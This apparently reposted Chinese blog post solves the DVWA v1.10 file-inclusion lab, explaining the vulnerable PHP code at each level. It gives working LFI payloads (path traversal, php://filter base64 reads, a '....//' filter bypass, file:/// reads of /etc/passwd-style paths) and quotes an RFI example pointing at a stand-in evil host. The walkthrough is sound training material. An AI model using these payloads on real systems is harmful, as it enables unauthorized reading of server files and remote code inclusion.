DVWA-v1.10-文件包含

2023-11-07 19:30
文章标签 dvwa v1.10

本文主要是介绍DVWA-v1.10-文件包含,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DVWA v1.10放在linux系统上。
进来之后看到
在这里插入图片描述
可以看到三个文件fil1.php、file2.php、file3.php
同时还给出三个链接:

1.https://en.wikipedia.org/wiki/Remote_File_Inclusion
2.https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
3.https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion

点击右下角帮助:


Help - File Inclusion
AboutSome web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing the potential for malicious file execution.If the file chosen to be included is local on the target machine, it is called "Local File Inclusion (LFI). But files may also be included on other machines, which then the attack is a "Remote File Inclusion (RFI).When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect.Note, the term "file inclusion" is not the same as "arbitrary file access" or "file disclosure".ObjectiveRead all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.Low LevelThis allows for direct input into one of many PHP functions that will include the content when executing.Depending on the web service configuration will depend if RFI is a possibility.Spoiler: LFI: ?page=../../../../../../etc/passwd.Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.Medium LevelThe developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough.Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.Spoiler: RFI: PHP Streams.High LevelThe developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename, they use a wildcard to include them all.Spoiler: LFI: The filename only has start with a certain value..Spoiler: RFI: Need to link in another vulnerability, such as file upload.Impossible LevelThe developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack.Reference: Wikipedia - File inclusion vulnerabilityReference: WSTG - Local File InclusionReference: WSTG - Remote File InclusionReference: PHP File Inclusion

可以知道DVWA的目标是让我们只通过文件包含去看“…/hackable/flags/fi.php”里面的五句话。

查看源码:


File InclusionImpossible File Inclusion Source
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>High File Inclusion Source
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>Medium File Inclusion Source
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );?>Low File Inclusion Source
<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

通过get传值,低级的没有对输入做过滤,中级的过滤了"http://", “https://” , “…/”, “…\”,把这四种变成了空,高级的使用了fnmatch函数检查传入的文件名是否匹配“file*”,即以file开头,最高等级只提供写死的固定三个文件名的访问。

具体的文件绝对路径我是在命令注入里看到的,是/var/www/html/DVWA/hackable/flags/fi.php

低级
payload:

http://IP地址/DVWA/vulnerabilities/fi/?page=../../hackable/flags/fi.php

在这里插入图片描述
查看源码能看到第五句话
在这里插入图片描述
用php://filter伪协议和base64编码读取的方式,可以读取到服务端php代码经过base64编码后的文本,解码后在源码中看到第三句话,同时也看到全部的服务端代码:
payload:

http://IP地址/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/var/www/html/DVWA/hackable/flags/fi.php

在这里插入图片描述
在这里插入图片描述
可以看到$line3被赋值两次

中级
…/被过滤,可以通过双写绕过。比如把…/写成…//,因为过滤只做了一次,过滤一次后又变成了…/,实现了绕过。
payload:

http://IP地址/DVWA/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php

高级
服务端检查了page传值是否以“file”开头,所以仍可以使用file伪协议读取,因为file伪协议符合以file开头的规则,如果服务端更改了规则那就不能用file伪协议了。但是file伪协议必须要用到文件的绝对路径,否则结果什么都查不出来,比如:
错误的payload:

http://IP地址/DVWA/vulnerabilities/fi/?page=file://../../hackable/flags/fi.php

使用绝对路径即可
payload:

http://IP地址/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php

备注:
完整的五句话:

1.) Bond. James Bond 
2.) My name is Sherlock Holmes. It is my business to know what other people don't know.
3.) Romeo, Romeo! Wherefore art thou Romeo?
4.) The pool on the roof must have a leak. 
5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons.

fi.php源码:

<?phpif( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) {exit ("Nice try ;-). Use the file include next time!");
}?>1.) Bond. James Bond<?phpecho "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";$line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?";
$line3 = "--LINE HIDDEN ;)--";
echo $line3 . "\n\n<br /><br />\n";$line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu";
echo base64_decode( $line4 );?><!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->

其它参考:
https://www.cnblogs.com/linfangnan/p/13663663.html

这篇关于DVWA-v1.10-文件包含的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/365793

相关文章

c++学籍管理系统v1.10

//新增添加学生和成绩录入系统#include<iostream>#include <string>#include<conio.h>void bangzhu();using namespace std;class sj{public :int year,month,day; 时间类void shuru(){cin>>ye

网络安全 DVWA通关指南 DVWA File Upload(文件上传)

DVWA File Upload(文件上传) 文章目录 DVWA File Upload(文件上传)修复建议 LowMediumHighImpossible 修复建议 1、使用白名单限制可以上传的文件扩展名 2、注意0x00截断攻击(PHP更新到最新版本) 3、对上传后的文件统一随机命名,不允许用户控制扩展名 4、上传文件的存储目录禁用执行权限 Low 1、分析网页

【网络安全的神秘世界】搭建dvwa靶场

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 下载DVWA https://github.com/digininja/DVWA/blob/master/README.zh.md 安装DVWA 安装phpstudy https://editor.csdn.net/md/?articleId=1399043

DVWA-CSRF-samesite分析

拿DVWA的CSRF为例子 接DVWA的分析,发现其实Impossible的PHPSESSID是设置的samesite=1. 参数的意思参考Set-Cookie SameSite:控制 cookie 是否随跨站请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。 下面用DVWA CSRF Low Level来分析下samsite的设置。 DVWA CSRF Cookie一共包

DVWA-命令执行通关

基础知识-命令拼接符 A&&B 表示A命令语句执行成功,然后执行B命令语句 A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系 A|B,表示A命令语句的输出,作为B命令语句的输入执行 A||B,表示A命令语句执行失败,然后才执行B命令语句。 linux操作系统 反引号:将里面的内容作为命令执行。 medium 过滤了 && ;没有过滤 | high 过

DVWA - Brute Force

DVWA - Brute Force 等级:low ​ 直接上bp弱口令爆破,设置变量,攻击类型最后一个,payload为用户名、密码简单列表 ​ 直接run,长度排序下,不一样的就是正确的用户名和密码 ​ 另解: 看一下源码,user变量直接被嵌入sql语句中,没有进行任何过滤,故可以用万能密码(' or 1=1#​)截断sql语句,使result值为1,绕过登陆验证 ​ ​

DVWA系列(二)----DVWA环境搭建

一、下载源码 DVWA使用PHP写的,所以首先需要搭建web运行环境,我这里使用的是phpStudy,phpStudy使用起来方便快捷,直接点击安装程序,点几下就安装好了。 首先进入官网下载源码:http://www.dvwa.co.uk/ 或者可以进入github下载: https://github.com/ethicalhack3r/DVWA

DVWA系列(一)----DVWA简介

一、DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。 DVWA是randomstorm的一个开源项目。如果你更多的了解randomstorm的服务和产品你可以访问他们官方网

phpstudy的安装dvwa

phpstudy安装dvwa 1. 下载phpstudy Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn) 2. 搭建dvwa靶场 下载地址:https://github.com/ethicalhack3r/DVWA/archive/master.zip 将其放入www文件夹中 3. 修改配置文件 将\DVWA-master\config中c

新增FTP功能、支持添加Redis远程数据库,专业版新增网站监控和黑金主题,1Panel开源面板v1.10.10版本发布

2024年6月7日,现代化、开源的Linux服务器运维管理面板1Panel发布v1.10.10版本。 在这一版本中,1Panel新增了多项实用功能。社区版方面,新增了FTP功能、支持添加Redis远程数据库、支持设置压缩密码,并新增了清理镜像构建缓存的功能;专业版方面,新增了网站监控和黑金主题界面,并支持设置代理服务器以方便用户更好地在内网离线环境中使用1Panel。 此外,1Panel开源项